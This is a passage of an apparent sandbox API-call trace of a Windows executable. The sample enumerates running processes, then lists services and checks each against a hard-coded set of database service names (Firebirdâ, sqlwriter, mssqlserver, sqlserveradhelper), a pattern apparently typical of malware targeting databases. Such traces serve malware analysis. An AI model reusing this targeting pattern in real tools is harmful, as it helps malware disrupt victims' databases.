th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0177.114] lstrlenW (lpString="nickel.exe") returned 10 [0177.114] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0177.115] lstrlenW (lpString="imperialopened.exe") returned 18 [0177.115] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0177.116] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0177.116] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0177.116] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0177.116] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0177.117] lstrlenW (lpString="perhapssentences.exe") returned 20 [0177.117] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.118] lstrlenW (lpString="svchost.exe") returned 11 [0177.118] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0177.119] lstrlenW (lpString="chrome64b.exe") returned 13 [0177.119] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0177.119] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0177.120] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.120] lstrlenW (lpString="conhost.exe") returned 11 [0177.120] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0177.121] lstrlenW (lpString="cmd.exe") returned 7 [0177.121] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.122] lstrlenW (lpString="conhost.exe") returned 11 [0177.122] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.122] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.123] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0177.127] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0177.128] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0177.128] CloseHandle (hObject=0x318) returned 1 [0177.128] Sleep (dwMilliseconds=0x1f4) [0177.854] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0177.854] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0177.855] GetLastError () returned 0xea [0177.855] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f5e) returned 0x7e7778 [0177.855] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1f5e, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0177.856] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0177.856] lstrlenW (lpString="Appinfo") returned 7 [0177.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.856] lstrlenW (lpString="AppXSvc") returned 7 [0177.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0177.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0177.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0177.856] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0177.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0177.856] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.856] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.856] lstrlenW (lpString="Audiosrv") returned 8 [0177.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0177.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0177.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0177.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0177.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0177.857] lstrlenW (lpString="BFE") returned 3 [0177.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.860] lstrlenW (lpString="BITS") returned 4 [0177.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0177.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0177.860] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0177.860] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0177.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0177.860] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0177.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.860] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0177.860] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0177.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0177.860] lstrlenW (lpString="CDPSvc") returned 6 [0177.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0177.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0177.860] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0177.860] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0177.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0177.860] lstrlenW (lpString="ClickToRunSvc") returned 13 [0177.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.860] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0177.860] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0177.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0177.860] lstrlenW (lpString="ClipSVC") returned 7 [0177.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0177.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0177.860] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0177.860] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0177.861] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0177.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.861] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0177.861] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0177.861] lstrlenW (lpString="CryptSvc") returned 8 [0177.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.861] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.861] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.861] lstrlenW (lpString="DcomLaunch") returned 10 [0177.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.861] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.861] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.861] lstrlenW (lpString="DeviceAssociationService") returned 24 [0177.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.861] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0177.861] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0177.861] lstrlenW (lpString="Dhcp") returned 4 [0177.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.861] lstrlenW (lpString="Dnscache") returned 8 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.862] lstrlenW (lpString="DoSvc") returned 5 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0177.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0177.862] lstrlenW (lpString="DPS") returned 3 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.862] lstrlenW (lpString="DusmSvc") returned 7 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0177.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0177.862] lstrlenW (lpString="EventLog") returned 8 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0177.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0177.862] lstrlenW (lpString="EventSystem") returned 11 [0177.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.862] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.862] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.863] lstrlenW (lpString="FontCache") returned 9 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0177.863] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0177.863] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0177.863] lstrlenW (lpString="gpsvc") returned 5 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.863] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.863] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.863] lstrlenW (lpString="iphlpsvc") returned 8 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.863] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.863] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.863] lstrlenW (lpString="KeyIso") returned 6 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0177.863] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0177.863] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0177.863] lstrlenW (lpString="LanmanServer") returned 12 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.863] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.864] lstrlenW (lpString="lfsvc") returned 5 [0177.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0177.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0177.864] lstrlenW (lpString="LicenseManager") returned 14 [0177.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0177.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0177.864] lstrlenW (lpString="lmhosts") returned 7 [0177.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.864] lstrlenW (lpString="LSM") returned 3 [0177.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0177.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0177.864] lstrlenW (lpString="MpsSvc") returned 6 [0177.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.864] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.864] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.864] lstrlenW (lpString="NcbService") returned 10 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0177.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0177.865] lstrlenW (lpString="netprofm") returned 8 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.865] lstrlenW (lpString="NlaSvc") returned 6 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0177.865] lstrlenW (lpString="nsi") returned 3 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.865] lstrlenW (lpString="PcaSvc") returned 6 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.865] lstrlenW (lpString="PlugPlay") returned 8 [0177.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.866] lstrlenW (lpString="Power") returned 5 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.866] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.866] lstrlenW (lpString="ProfSvc") returned 7 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.866] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.866] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.866] lstrlenW (lpString="RpcSs") returned 5 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.866] lstrlenW (lpString="SamSs") returned 5 [0177.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.866] lstrcmpiW 